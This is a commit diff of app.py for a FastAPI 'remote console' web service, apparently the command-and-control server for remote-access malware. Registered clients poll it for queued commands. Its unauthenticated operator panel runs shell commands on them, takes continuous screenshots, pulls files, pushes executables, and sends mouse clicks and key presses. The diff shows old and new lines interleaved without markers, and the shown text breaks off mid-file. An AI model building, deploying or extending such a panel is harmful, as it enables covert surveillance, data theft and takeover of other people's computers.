profile114 commited on
Commit
f5efa9e
·
verified ·
1 Parent(s): 93ea754

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +532 -144
app.py CHANGED
@@ -4,210 +4,598 @@ import sqlite3
4
  import uuid
5
  import glob
6
  from datetime import datetime
7
- from fastapi import FastAPI, Request, UploadFile, File, Form
8
  from fastapi.responses import HTMLResponse, FileResponse
9
  from fastapi.middleware.cors import CORSMiddleware
 
 
 
10
  import aiofiles
11
 
12
  app = FastAPI()
13
- app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_credentials=True, allow_methods=["*"], allow_headers=["*"])
14
 
15
- DB_PATH = "/tmp/data.db"
16
- UPLOAD_DIR = "/tmp/uploads"
17
- os.makedirs(f"{UPLOAD_DIR}/screenshots", exist_ok=True)
18
- os.makedirs(f"{UPLOAD_DIR}/files", exist_ok=True)
 
 
 
 
 
 
 
 
 
19
 
20
  def init_db():
21
  conn = sqlite3.connect(DB_PATH)
22
- conn.execute("CREATE TABLE IF NOT EXISTS clients (id TEXT PRIMARY KEY, name TEXT, status TEXT, last_seen TEXT, version TEXT, os TEXT, ip TEXT)")
23
- conn.execute("CREATE TABLE IF NOT EXISTS commands (id TEXT, client_id TEXT, type TEXT, payload TEXT, status TEXT, result TEXT, created_at TEXT)")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
24
  conn.commit()
25
  conn.close()
26
 
 
 
 
 
 
27
  init_db()
28
 
29
- HTML = '''<!DOCTYPE html>
30
- <html><head><meta charset="UTF-8"><title>远程控制台</title>
31
- <style>
32
- *{margin:0;padding:0;box-sizing:border-box}
33
- body{font-family:sans-serif;background:#1a1a2e;color:#eee}
34
- .container{max-width:1200px;margin:0 auto;padding:20px}
35
- h1{text-align:center;color:#00d9ff;margin-bottom:20px}
36
- .client-card{background:#16213e;padding:15px;margin-bottom:10px;border-radius:8px;cursor:pointer;border:1px solid #0f3460}
37
- .client-card:hover,.client-card.selected{border-color:#00d9ff}
38
- .tabs{display:flex;gap:10px;margin-bottom:15px}
39
- .tab{padding:10px 20px;background:#16213e;border:none;color:#888;cursor:pointer;border-radius:5px}
40
- .tab.active{background:#00d9ff;color:#1a1a2e}
41
- .tab-content{display:none;background:#16213e;padding:20px;border-radius:8px}
42
- .tab-content.active{display:block}
43
- .btn{padding:10px 20px;background:#00d9ff;border:none;color:#1a1a2e;cursor:pointer;border-radius:5px;font-weight:bold}
44
- input{padding:10px;background:#1a1a2e;border:1px solid #0f3460;color:#eee;border-radius:5px}
45
- .output{background:#0a0a15;padding:15px;min-height:150px;border-radius:5px;margin-top:10px;font-family:monospace;white-space:pre-wrap;overflow-y:auto;max-height:300px}
46
- .screenshot-img{max-width:100%;border-radius:5px}
47
- </style></head>
48
- <body><div class="container">
49
- <h1>远程控制台</h1>
50
- <h3>在线客户端</h3><div id="clients"></div>
51
- <div id="panel" style="display:none;">
52
- <div class="tabs">
53
- <button class="tab active" onclick="showTab('shell')">Shell</button>
54
- <button class="tab" onclick="showTab('screenshot')">截图</button>
55
- <button class="tab" onclick="showTab('files')">文件</button>
56
- </div>
57
- <div id="tab-shell" class="tab-content active">
58
- <input type="text" id="cmdInput" placeholder="输入命令" style="width:70%;">
59
- <button class="btn" onclick="sendCmd()">执行</button>
60
- <div class="output" id="output">等待命令...</div>
61
- </div>
62
- <div id="tab-screenshot" class="tab-content">
63
- <button class="btn" onclick="requestScreenshot()">获取截图</button>
64
- <div id="screenshotView"></div>
65
- </div>
66
- <div id="tab-files" class="tab-content">
67
- <input type="text" id="filePath" placeholder="客户端文件路径" style="width:60%;">
68
- <button class="btn" onclick="downloadFile()">下载</button>
69
- <br><br>
70
- <input type="file" id="uploadFile">
71
- <input type="text" id="uploadPath" placeholder="目标路径" style="width:40%;">
72
- <button class="btn" onclick="uploadFile()">上传</button>
73
- <div class="output" id="fileOutput"></div>
74
- </div>
75
- </div></div>
76
- <script>
77
- let client=null;
78
- async function loadClients(){
79
- const resp=await fetch('/api/clients');
80
- const clients=await resp.json();
81
- document.getElementById('clients').innerHTML=clients.map(c=>
82
- '<div class="client-card '+(client&&client.id===c.id?'selected':'')+'" onclick="selectClient(\''+c.id+'\',\''+c.name+'\')"><b>'+c.name+'</b> - '+c.status+'</div>'
83
- ).join('');
84
- }
85
- function selectClient(id,name){client={id,name};document.getElementById('panel').style.display='block';loadClients();}
86
- function showTab(name){
87
- document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));
88
- document.querySelectorAll('.tab-content').forEach(c=>c.classList.remove('active'));
89
- event.target.classList.add('active');
90
- document.getElementById('tab-'+name).classList.add('active');
91
- }
92
- async function sendCmd(){
93
- const cmd=document.getElementById('cmdInput').value;
94
- if(!cmd||!client)return;
95
- document.getElementById('output').textContent='发送: '+cmd;
96
- await fetch('/api/command',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_id:client.id,type:'shell',payload:cmd})});
97
- document.getElementById('cmdInput').value='';
98
- }
99
- async function requestScreenshot(){
100
- if(!client)return;
101
- document.getElementById('screenshotView').innerHTML='<p>获取中...</p>';
102
- await fetch('/api/command',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_id:client.id,type:'screenshot',payload:''})});
103
- setTimeout(loadScreenshot,2000);
104
- }
105
- function loadScreenshot(){
106
- if(!client)return;
107
- document.getElementById('screenshotView').innerHTML='<img class="screenshot-img" src="/api/screenshots/'+client.id+'?t='+Date.now()+'">';
108
- }
109
- async function downloadFile(){
110
- const path=document.getElementById('filePath').value;
111
- if(!path||!client)return;
112
- document.getElementById('fileOutput').textContent='发送下载命令...';
113
- await fetch('/api/command',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_id:client.id,type:'file_download',payload:path})});
114
- }
115
- async function uploadFile(){
116
- const fileInput=document.getElementById('uploadFile');
117
- const path=document.getElementById('uploadPath').value;
118
- if(!fileInput.files[0]||!path||!client)return;
119
- const formData=new FormData();
120
- formData.append('file',fileInput.files[0]);
121
- formData.append('client_id',client.id);
122
- formData.append('path',path);
123
- await fetch('/api/file/upload_to_client',{method:'POST',body:formData});
124
- document.getElementById('fileOutput').textContent='已上传';
125
- }
126
- setInterval(loadClients,5000);
127
- loadClients();
128
- </script></body></html>'''
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
129
 
130
  @app.get("/")
131
- def root(): return HTMLResponse(HTML)
 
132
 
133
  @app.post("/api/client/register")
134
  async def register_client(request: Request):
135
  data = await request.json()
136
  client_id = data.get('id') or str(uuid.uuid4())
137
- conn = sqlite3.connect(DB_PATH)
138
- conn.execute("INSERT OR REPLACE INTO clients VALUES (?,?,?,?,?,?,?)",
139
- (client_id, data.get('name','Unknown'), 'online', datetime.now().isoformat(), data.get('version',''), data.get('os',''), request.client.host))
140
- conn.commit(); conn.close()
141
- return {'id': client_id}
 
 
 
 
 
 
 
142
 
143
  @app.post("/api/client/heartbeat")
144
  async def heartbeat(request: Request):
145
  data = await request.json()
146
  client_id = data.get('client_id')
147
- conn = sqlite3.connect(DB_PATH)
148
- conn.execute("UPDATE clients SET last_seen=?,status='online' WHERE id=?", (datetime.now().isoformat(), client_id))
149
- cmd = conn.execute("SELECT * FROM commands WHERE client_id=? AND status='pending' ORDER BY created_at ASC LIMIT 1", (client_id,)).fetchone()
150
- if cmd: conn.execute("UPDATE commands SET status='processing' WHERE id=?", (cmd[0],))
151
- conn.commit(); conn.close()
152
- if cmd: return {'commands': [{'id':cmd[0],'client_id':cmd[1],'type':cmd[2],'payload':cmd[3],'status':cmd[4]}]}
 
 
 
 
 
 
 
 
 
153
  return {'commands': []}
154
 
155
  @app.post("/api/command")
156
  async def send_command(request: Request):
157
  data = await request.json()
158
  cmd_id = str(uuid.uuid4())
159
- conn = sqlite3.connect(DB_PATH)
160
- conn.execute("INSERT INTO commands VALUES (?,?,?,?,?,?,?)",
161
- (cmd_id, data.get('client_id'), data.get('type','shell'), data.get('payload',''), 'pending', '', datetime.now().isoformat()))
162
- conn.commit(); conn.close()
163
- return {'id': cmd_id}
 
 
 
 
 
 
 
164
 
165
  @app.post("/api/command/result")
166
  async def command_result(request: Request):
167
  data = await request.json()
168
- conn = sqlite3.connect(DB_PATH)
169
- conn.execute("UPDATE commands SET result=?,status=? WHERE id=?", (data.get('result',''), data.get('status','completed'), data.get('command_id')))
170
- conn.commit(); conn.close()
 
 
 
 
 
 
171
  return {'status': 'ok'}
172
 
173
  @app.post("/api/screenshot")
174
  async def upload_screenshot(client_id: str = Form(...), screenshot: UploadFile = File(...)):
175
- filename = f'{client_id}_{int(datetime.now().timestamp())}.jpg'
 
176
  filepath = f'{UPLOAD_DIR}/screenshots/{filename}'
 
177
  content = await screenshot.read()
178
- with open(filepath, 'wb') as f: f.write(content)
179
- conn = sqlite3.connect(DB_PATH)
180
- conn.execute("UPDATE clients SET last_seen=? WHERE id=?", (datetime.now().isoformat(), client_id))
181
- conn.commit(); conn.close()
 
 
 
 
182
  return {'url': f'/api/screenshots/{filename}'}
183
 
184
  @app.get("/api/screenshots/{client_id}")
185
  async def get_screenshot(client_id: str):
186
  pattern = f'{UPLOAD_DIR}/screenshots/{client_id}_*'
187
  files = sorted(glob.glob(pattern), key=os.path.getmtime, reverse=True)
188
- if files: return FileResponse(files[0], media_type='image/jpeg')
189
- return HTMLResponse("No screenshot", status_code=404)
 
190
 
191
  @app.post("/api/file/upload_to_client")
192
  async def upload_to_client(client_id: str = Form(...), path: str = Form(...), file: UploadFile = File(...)):
193
  filename = f'{client_id}_{int(datetime.now().timestamp())}_{file.filename}'
194
  filepath = f'{UPLOAD_DIR}/files/{filename}'
 
195
  content = await file.read()
196
- with open(filepath, 'wb') as f: f.write(content)
 
 
 
197
  cmd_id = str(uuid.uuid4())
198
- conn = sqlite3.connect(DB_PATH)
199
- conn.execute("INSERT INTO commands VALUES (?,?,?,?,?,?,?)",
200
- (cmd_id, client_id, 'file_upload', filepath, 'pending', '', datetime.now().isoformat()))
201
- conn.commit(); conn.close()
202
- return {'status': 'ok'}
 
 
 
 
 
 
 
 
 
 
 
 
203
 
204
  @app.get("/api/clients")
205
  async def get_clients():
206
- conn = sqlite3.connect(DB_PATH)
207
  clients = conn.execute('SELECT * FROM clients ORDER BY last_seen DESC').fetchall()
208
  conn.close()
209
- return [{'id':c[0],'name':c[1],'status':c[2],'last_seen':c[3]} for c in clients]
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
210
 
211
  if __name__ == "__main__":
212
  import uvicorn
213
- uvicorn.run(app, host="0.0.0.0", port=7860)
 
4
  import uuid
5
  import glob
6
  from datetime import datetime
7
+ from fastapi import FastAPI, Request, UploadFile, File, Form, HTTPException
8
  from fastapi.responses import HTMLResponse, FileResponse
9
  from fastapi.middleware.cors import CORSMiddleware
10
+ from fastapi.staticfiles import StaticFiles
11
+ from fastapi.templating import Jinja2Templates
12
+ from typing import Optional
13
  import aiofiles
14
 
15
  app = FastAPI()
 
16
 
17
+ app.add_middleware(
18
+ CORSMiddleware,
19
+ allow_origins=["*"],
20
+ allow_credentials=True,
21
+ allow_methods=["*"],
22
+ allow_headers=["*"],
23
+ )
24
+
25
+ DB_PATH = os.environ.get('DB_PATH', '/tmp/data.db')
26
+ UPLOAD_DIR = os.environ.get('UPLOAD_DIR', '/tmp/uploads')
27
+
28
+ os.makedirs(f'{UPLOAD_DIR}/screenshots', exist_ok=True)
29
+ os.makedirs(f'{UPLOAD_DIR}/files', exist_ok=True)
30
 
31
  def init_db():
32
  conn = sqlite3.connect(DB_PATH)
33
+ c = conn.cursor()
34
+ c.execute('''
35
+ CREATE TABLE IF NOT EXISTS clients (
36
+ id TEXT PRIMARY KEY,
37
+ name TEXT,
38
+ status TEXT DEFAULT 'offline',
39
+ last_seen TEXT,
40
+ version TEXT,
41
+ os TEXT,
42
+ ip TEXT
43
+ )
44
+ ''')
45
+ c.execute('''
46
+ CREATE TABLE IF NOT EXISTS commands (
47
+ id TEXT PRIMARY KEY,
48
+ client_id TEXT,
49
+ type TEXT,
50
+ payload TEXT,
51
+ status TEXT DEFAULT 'pending',
52
+ result TEXT,
53
+ created_at TEXT,
54
+ FOREIGN KEY(client_id) REFERENCES clients(id)
55
+ )
56
+ ''')
57
+ c.execute('''
58
+ CREATE TABLE IF NOT EXISTS files (
59
+ id TEXT PRIMARY KEY,
60
+ client_id TEXT,
61
+ filename TEXT,
62
+ size INTEGER,
63
+ uploaded_at TEXT,
64
+ FOREIGN KEY(client_id) REFERENCES clients(id)
65
+ )
66
+ ''')
67
+ c.execute('''
68
+ CREATE TABLE IF NOT EXISTS configs (
69
+ key TEXT PRIMARY KEY,
70
+ value TEXT,
71
+ updated_at TEXT
72
+ )
73
+ ''')
74
  conn.commit()
75
  conn.close()
76
 
77
+ def get_db():
78
+ conn = sqlite3.connect(DB_PATH)
79
+ conn.row_factory = sqlite3.Row
80
+ return conn
81
+
82
  init_db()
83
 
84
+ HTML_CONTENT = '''<!DOCTYPE html>
85
+ <html lang="zh-CN">
86
+ <head>
87
+ <meta charset="UTF-8">
88
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
89
+ <title>远程控制台</title>
90
+ <style>
91
+ * { margin: 0; padding: 0; box-sizing: border-box; }
92
+ body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: #1a1a2e; color: #eee; min-height: 100vh; }
93
+ .container { max-width: 1400px; margin: 0 auto; padding: 20px; }
94
+ h1 { text-align: center; margin-bottom: 30px; color: #00d9ff; }
95
+ .clients-section { margin-bottom: 30px; }
96
+ .section-title { font-size: 1.2em; margin-bottom: 15px; color: #aaa; }
97
+ .clients-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 15px; }
98
+ .client-card { background: #16213e; border-radius: 10px; padding: 15px; border: 1px solid #0f3460; cursor: pointer; transition: all 0.3s; }
99
+ .client-card:hover { border-color: #00d9ff; }
100
+ .client-card.selected { border-color: #00d9ff; background: #1f4068; }
101
+ .client-card.offline { opacity: 0.5; }
102
+ .client-name { font-size: 1.1em; font-weight: bold; margin-bottom: 8px; }
103
+ .client-info { font-size: 0.85em; color: #888; }
104
+ .client-status { display: inline-block; padding: 2px 8px; border-radius: 4px; font-size: 0.8em; margin-top: 8px; }
105
+ .status-online { background: #00d9ff22; color: #00d9ff; }
106
+ .status-offline { background: #ff6b6b22; color: #ff6b6b; }
107
+ .panel { background: #16213e; border-radius: 10px; padding: 20px; border: 1px solid #0f3460; display: none; flex-direction: column; flex: 1; min-height: 600px; }
108
+ .panel.active { display: flex; }
109
+ .tab-content { display: none; flex-direction: column; flex: 1; min-height: 0; }
110
+ .tab-content.active { display: flex; flex: 1; }
111
+ .screenshot-view { flex: 1; display: flex; align-items: center; justify-content: center; background: #000; overflow: hidden; }
112
+ .screenshot-view img { max-width: 100%; max-height: 100%; object-fit: contain; }
113
+ .tabs { display: flex; gap: 10px; margin-bottom: 20px; border-bottom: 1px solid #0f3460; padding-bottom: 10px; flex-wrap: wrap; }
114
+ .tab { padding: 8px 16px; border-radius: 5px; cursor: pointer; background: transparent; border: none; color: #888; transition: all 0.3s; }
115
+ .tab:hover { color: #00d9ff; }
116
+ .tab.active { background: #00d9ff; color: #1a1a2e; }
117
+ .command-input { display: flex; gap: 10px; margin-bottom: 15px; flex-wrap: wrap; }
118
+ .command-input input { flex: 1; min-width: 200px; padding: 10px; border-radius: 5px; border: 1px solid #0f3460; background: #1a1a2e; color: #eee; }
119
+ .btn { padding: 10px 20px; border-radius: 5px; border: none; cursor: pointer; background: #00d9ff; color: #1a1a2e; font-weight: bold; }
120
+ .btn:hover { opacity: 0.9; }
121
+ .btn-danger { background: #ff6b6b; }
122
+ .btn-success { background: #00ff88; }
123
+ .output { background: #0a0a15; border-radius: 5px; padding: 15px; min-height: 200px; max-height: 400px; overflow-y: auto; font-family: monospace; white-space: pre-wrap; }
124
+ .screenshot-view { text-align: center; }
125
+ .screenshot-view img { max-width: 100%; border-radius: 5px; }
126
+ .no-client { text-align: center; color: #666; padding: 50px; }
127
+ </style>
128
+ </head>
129
+ <body>
130
+ <div class="container">
131
+ <h1>远程控制台</h1>
132
+ <div class="clients-section">
133
+ <div class="section-title">在线客户端</div>
134
+ <div class="clients-grid" id="clientsGrid"></div>
135
+ </div>
136
+ <div class="panel" id="controlPanel">
137
+ <div class="tabs">
138
+ <button class="tab active" data-tab="shell">Shell</button>
139
+ <button class="tab" data-tab="screenshot">截图</button>
140
+ <button class="tab" data-tab="files">文件</button>
141
+ <button class="tab" data-tab="control">远程控制</button>
142
+ </div>
143
+ <div class="tab-content" id="tab-shell">
144
+ <div class="command-input">
145
+ <input type="text" id="commandInput" placeholder="输入命令...">
146
+ <button class="btn" onclick="sendCommand()">执行</button>
147
+ </div>
148
+ <div class="output" id="commandOutput">等待命令...</div>
149
+ </div>
150
+ <div class="tab-content" id="tab-screenshot" style="display:none;">
151
+ <div class="screenshot-settings" style="background:#0a0a15;padding:10px;border-radius:5px;margin-bottom:10px;">
152
+ <div class="command-input" style="margin-bottom:10px;">
153
+ <button class="btn" onclick="requestScreenshot()">获取截图</button>
154
+ <input type="number" id="screenInterval" value="3" min="1" max="60" style="width:50px;padding:8px;border-radius:5px;border:1px solid #0f3460;background:#1a1a2e;color:#eee;">
155
+ <span style="color:#888;">秒间隔</span>
156
+ <button class="btn btn-success" id="btnAutoScreen" onclick="toggleAutoScreenshot()">自动连续</button>
157
+ <button class="btn btn-danger" id="btnStopScreen" onclick="stopAutoScreenshot()" style="display:none;">停止</button>
158
+ </div>
159
+ <div class="command-input">
160
+ <label style="color:#888;margin-right:10px;">
161
+ <input type="checkbox" id="clickAutoRefresh" checked> 点击后自动刷新
162
+ </label>
163
+ <span style="color:#888;margin:0 10px;">点击类型:</span>
164
+ <label style="color:#00d9ff;margin-right:10px;">
165
+ <input type="radio" name="clickButton" value="left" checked> 左键
166
+ </label>
167
+ <label style="color:#00d9ff;">
168
+ <input type="radio" name="clickButton" value="right"> 右键
169
+ </label>
170
+ </div>
171
+ </div>
172
+ <div class="tab-content" id="tab-files" style="display:none;">
173
+ <div class="command-input" style="margin-bottom:15px;">
174
+ <input type="text" id="filePath" placeholder="客户端文件路径,如 C:\\test.txt" style="flex:1;">
175
+ <button class="btn" onclick="downloadClientFile()">下载到服务器</button>
176
+ </div>
177
+ <div class="command-input" style="margin-bottom:15px;">
178
+ <input type="file" id="uploadFile">
179
+ <input type="text" id="uploadPath" placeholder="目标路径,如 C:\\uploaded.exe" style="flex:1;">
180
+ <button class="btn" onclick="uploadToClient()">上传到客户端</button>
181
+ </div>
182
+ <div class="output" id="fileOutput">文件操作结果...</div>
183
+ </div>
184
+ <div class="tab-content" id="tab-control" style="display:none;">
185
+ <p style="color:#888;margin-bottom:15px;">远程控制</p>
186
+ <div class="command-input">
187
+ <button class="btn" onclick="sendMouseClick('left')">���键</button>
188
+ <button class="btn" onclick="sendMouseClick('right')">右键</button>
189
+ <input type="text" id="keyInput" placeholder="按键" style="flex:0.5;min-width:150px;">
190
+ <button class="btn" onclick="sendKeyPress()">发送</button>
191
+ </div>
192
+ </div>
193
+ </div>
194
+ <div class="no-client" id="noClient">请选择一个客户端</div>
195
+ </div>
196
+ <script>
197
+ let selectedClient = null;
198
+ let pollInterval = null;
199
+ const API_BASE = '';
200
+
201
+ async function loadClients() {
202
+ try {
203
+ const resp = await fetch('/api/clients');
204
+ const clients = await resp.json();
205
+ const grid = document.getElementById('clientsGrid');
206
+ grid.innerHTML = clients.length ? '' : '<p style="color:#666;">暂无在线客户端</p>';
207
+ clients.forEach(client => {
208
+ const card = document.createElement('div');
209
+ card.className = 'client-card' + (client.status === 'offline' ? ' offline' : '');
210
+ card.onclick = () => selectClient(client);
211
+ const lastSeen = client.last_seen ? new Date(client.last_seen).toLocaleString() : 'N/A';
212
+ card.innerHTML = `<div class="client-name">${client.name || 'Unknown'}</div>
213
+ <div class="client-info">ID: ${(client.id || '').substring(0, 8)}...</div>
214
+ <div class="client-status ${client.status === 'online' ? 'status-online' : 'status-offline'}">${client.status}</div>
215
+ <div class="client-info">${lastSeen}</div>`;
216
+ grid.appendChild(card);
217
+ });
218
+ } catch(e) { console.error(e); }
219
+ }
220
+
221
+ function selectClient(client) {
222
+ selectedClient = client;
223
+ document.querySelectorAll('.client-card').forEach(c => c.classList.remove('selected'));
224
+ document.querySelectorAll('.client-card').forEach(c => { if((c.innerHTML || '').includes((client.id || '').substring(0, 8))) c.classList.add('selected'); });
225
+ document.getElementById('controlPanel').classList.add('active');
226
+ document.getElementById('noClient').style.display = 'none';
227
+ startPolling();
228
+ }
229
+
230
+ function startPolling() {
231
+ if (pollInterval) clearInterval(pollInterval);
232
+ pollInterval = setInterval(pollCommands, 2000);
233
+ }
234
+
235
+ async function pollCommands() {
236
+ if (!selectedClient) return;
237
+ try {
238
+ // 心跳并获取指令
239
+ const resp = await fetch('/api/client/heartbeat', {
240
+ method: 'POST', headers: {'Content-Type': 'application/json'},
241
+ body: JSON.stringify({client_id: selectedClient.id})
242
+ });
243
+ const data = await resp.json();
244
+ if (data.commands && data.commands.length > 0) {
245
+ data.commands.forEach(cmd => executeCommand(cmd));
246
+ }
247
+
248
+ // 获取最新命令结果
249
+ const resultResp = await fetch('/api/commands?client_id=' + selectedClient.id);
250
+ const commands = await resultResp.json();
251
+ if (commands.length > 0) {
252
+ const latest = commands[0];
253
+ if (latest.result && latest.status === 'completed') {
254
+ document.getElementById('commandOutput').textContent = latest.result;
255
+ } else if (latest.status === 'processing') {
256
+ document.getElementById('commandOutput').textContent = '执行中: ' + latest.payload + '...';
257
+ }
258
+ }
259
+ } catch(e) { console.error(e); }
260
+ }
261
+
262
+ async function executeCommand(cmd) {
263
+ document.getElementById('commandOutput').textContent = '执行: ' + cmd.payload;
264
+ await fetch('/api/command/result', {
265
+ method: 'POST', headers: {'Content-Type': 'application/json'},
266
+ body: JSON.stringify({command_id: cmd.id, result: '', status: 'processing'})
267
+ });
268
+ }
269
+
270
+ async function sendCommand() {
271
+ const cmd = document.getElementById('commandInput').value.trim();
272
+ if (!cmd || !selectedClient) return;
273
+ document.getElementById('commandOutput').textContent = '发送: ' + cmd + ' (等待执行...)';
274
+ await fetch('/api/command', {
275
+ method: 'POST', headers: {'Content-Type': 'application/json'},
276
+ body: JSON.stringify({client_id: selectedClient.id, type: 'shell', payload: cmd})
277
+ });
278
+ document.getElementById('commandInput').value = '';
279
+ }
280
+
281
+ let screenshotInterval = null;
282
+
283
+ async function requestScreenshot() {
284
+ if (!selectedClient) return;
285
+ const container = document.getElementById('screenshotView');
286
+ if (!screenshotImgElement) {
287
+ container.innerHTML = '<p style="color:#888;">获取中...</p>';
288
+ }
289
+ await fetch('/api/command', {
290
+ method: 'POST', headers: {'Content-Type': 'application/json'},
291
+ body: JSON.stringify({client_id: selectedClient.id, type: 'screenshot', payload: ''})
292
+ });
293
+ setTimeout(loadScreenshot, 2000);
294
+ }
295
+
296
+ let screenshotImgElement = null;
297
+
298
+ async function loadScreenshot() {
299
+ if (!selectedClient) return;
300
+ const t = Date.now();
301
+ const container = document.getElementById('screenshotView');
302
+
303
+ if (screenshotImgElement) {
304
+ screenshotImgElement.src = `/api/screenshots/${selectedClient.id}?t=${t}`;
305
+ } else {
306
+ container.innerHTML = `<img id="screenshotImg" style="max-width:100%;max-height:100%;object-fit:contain;cursor:crosshair;">`;
307
+ screenshotImgElement = document.getElementById('screenshotImg');
308
+ screenshotImgElement.src = `/api/screenshots/${selectedClient.id}?t=${t}`;
309
+
310
+ screenshotImgElement.onclick = function(e) {
311
+ const rect = this.getBoundingClientRect();
312
+ const x = Math.round((e.clientX - rect.left) * (this.naturalWidth / rect.width));
313
+ const y = Math.round((e.clientY - rect.top) * (this.naturalHeight / rect.height));
314
+
315
+ const clickButton = document.querySelector('input[name="clickButton"]:checked').value;
316
+ sendMouseClickAt(x, y, clickButton);
317
+
318
+ if (document.getElementById('clickAutoRefresh').checked) {
319
+ setTimeout(loadScreenshot, 500);
320
+ }
321
+ };
322
+ }
323
+ }
324
+
325
+ async function sendMouseClickAt(x, y, button) {
326
+ if (!selectedClient) return;
327
+ await fetch('/api/command', {
328
+ method: 'POST', headers: {'Content-Type': 'application/json'},
329
+ body: JSON.stringify({client_id: selectedClient.id, type: 'mouse_click', payload: JSON.stringify({button: button, x: x, y: y})})
330
+ });
331
+ document.getElementById('commandOutput').textContent = `鼠标${button}键点击: (${x}, ${y})`;
332
+ }
333
+
334
+ function startAutoScreenshot() {
335
+ if (screenshotInterval) return;
336
+ const interval = (parseInt(document.getElementById('screenInterval').value) || 3) * 1000;
337
+ screenshotInterval = setInterval(async () => {
338
+ if (!selectedClient) {
339
+ stopAutoScreenshot();
340
+ return;
341
+ }
342
+ await fetch('/api/command', {
343
+ method: 'POST', headers: {'Content-Type': 'application/json'},
344
+ body: JSON.stringify({client_id: selectedClient.id, type: 'screenshot', payload: ''})
345
+ });
346
+ setTimeout(loadScreenshot, 1000);
347
+ }, interval);
348
+ }
349
+
350
+ function stopAutoScreenshot() {
351
+ if (screenshotInterval) {
352
+ clearInterval(screenshotInterval);
353
+ screenshotInterval = null;
354
+ }
355
+ document.getElementById('btnAutoScreen').style.display = 'inline-block';
356
+ document.getElementById('btnStopScreen').style.display = 'none';
357
+ }
358
+
359
+ function toggleAutoScreenshot() {
360
+ if (screenshotInterval) {
361
+ stopAutoScreenshot();
362
+ } else {
363
+ startAutoScreenshot();
364
+ document.getElementById('btnAutoScreen').style.display = 'none';
365
+ document.getElementById('btnStopScreen').style.display = 'inline-block';
366
+ }
367
+ }
368
+
369
+ async function sendMouseClick(button) {
370
+ if (!selectedClient) return;
371
+ await fetch('/api/command', {
372
+ method: 'POST', headers: {'Content-Type': 'application/json'},
373
+ body: JSON.stringify({client_id: selectedClient.id, type: 'mouse_click', payload: JSON.stringify({button: button, x: 0, y: 0})})
374
+ });
375
+ }
376
+
377
+ async function sendKeyPress() {
378
+ const key = document.getElementById('keyInput').value.trim();
379
+ if (!key || !selectedClient) return;
380
+ await fetch('/api/command', {
381
+ method: 'POST', headers: {'Content-Type': 'application/json'},
382
+ body: JSON.stringify({client_id: selectedClient.id, type: 'key_press', payload: key})
383
+ });
384
+ }
385
+
386
+ async function downloadClientFile() {
387
+ const path = document.getElementById('filePath').value.trim();
388
+ if (!path || !selectedClient) return;
389
+ document.getElementById('fileOutput').textContent = '发送下载命令...';
390
+ await fetch('/api/command', {
391
+ method: 'POST', headers: {'Content-Type': 'application/json'},
392
+ body: JSON.stringify({client_id: selectedClient.id, type: 'file_download', payload: path})
393
+ });
394
+ }
395
+
396
+ async function uploadToClient() {
397
+ const fileInput = document.getElementById('uploadFile');
398
+ const path = document.getElementById('uploadPath').value.trim();
399
+ if (!fileInput.files[0] || !path || !selectedClient) {
400
+ document.getElementById('fileOutput').textContent = '请选择文件和目标路径';
401
+ return;
402
+ }
403
+
404
+ document.getElementById('fileOutput').textContent = '上传文件中...';
405
+ const formData = new FormData();
406
+ formData.append('file', fileInput.files[0]);
407
+ formData.append('client_id', selectedClient.id);
408
+ formData.append('path', path);
409
+
410
+ await fetch('/api/file/upload_to_client', {
411
+ method: 'POST',
412
+ body: formData
413
+ });
414
+ document.getElementById('fileOutput').textContent = '文件已上传到服务端';
415
+ }
416
+
417
+ document.querySelectorAll('.tab').forEach(tab => {
418
+ tab.onclick = () => {
419
+ document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
420
+ document.querySelectorAll('.tab-content').forEach(c => c.style.display = 'none');
421
+ tab.classList.add('active');
422
+ document.getElementById('tab-' + tab.dataset.tab).style.display = 'flex';
423
+ };
424
+ });
425
+
426
+ document.getElementById('commandInput').onkeypress = e => { if (e.key === 'Enter') sendCommand(); };
427
+ loadClients(); setInterval(loadClients, 5000);
428
+ </script>
429
+ </body>
430
+ </html>'''
431
 
432
  @app.get("/")
433
+ async def root():
434
+ return HTMLResponse(content=HTML_CONTENT)
435
 
436
  @app.post("/api/client/register")
437
  async def register_client(request: Request):
438
  data = await request.json()
439
  client_id = data.get('id') or str(uuid.uuid4())
440
+ name = data.get('name', 'Unknown')
441
+ version = data.get('version', '')
442
+ os_info = data.get('os', '')
443
+
444
+ conn = get_db()
445
+ conn.execute('''INSERT OR REPLACE INTO clients (id, name, status, last_seen, version, os, ip)
446
+ VALUES (?, ?, 'online', ?, ?, ?, ?)''',
447
+ (client_id, name, datetime.now().isoformat(), version, os_info, request.client.host))
448
+ conn.commit()
449
+ conn.close()
450
+
451
+ return {'id': client_id, 'name': name, 'status': 'online'}
452
 
453
  @app.post("/api/client/heartbeat")
454
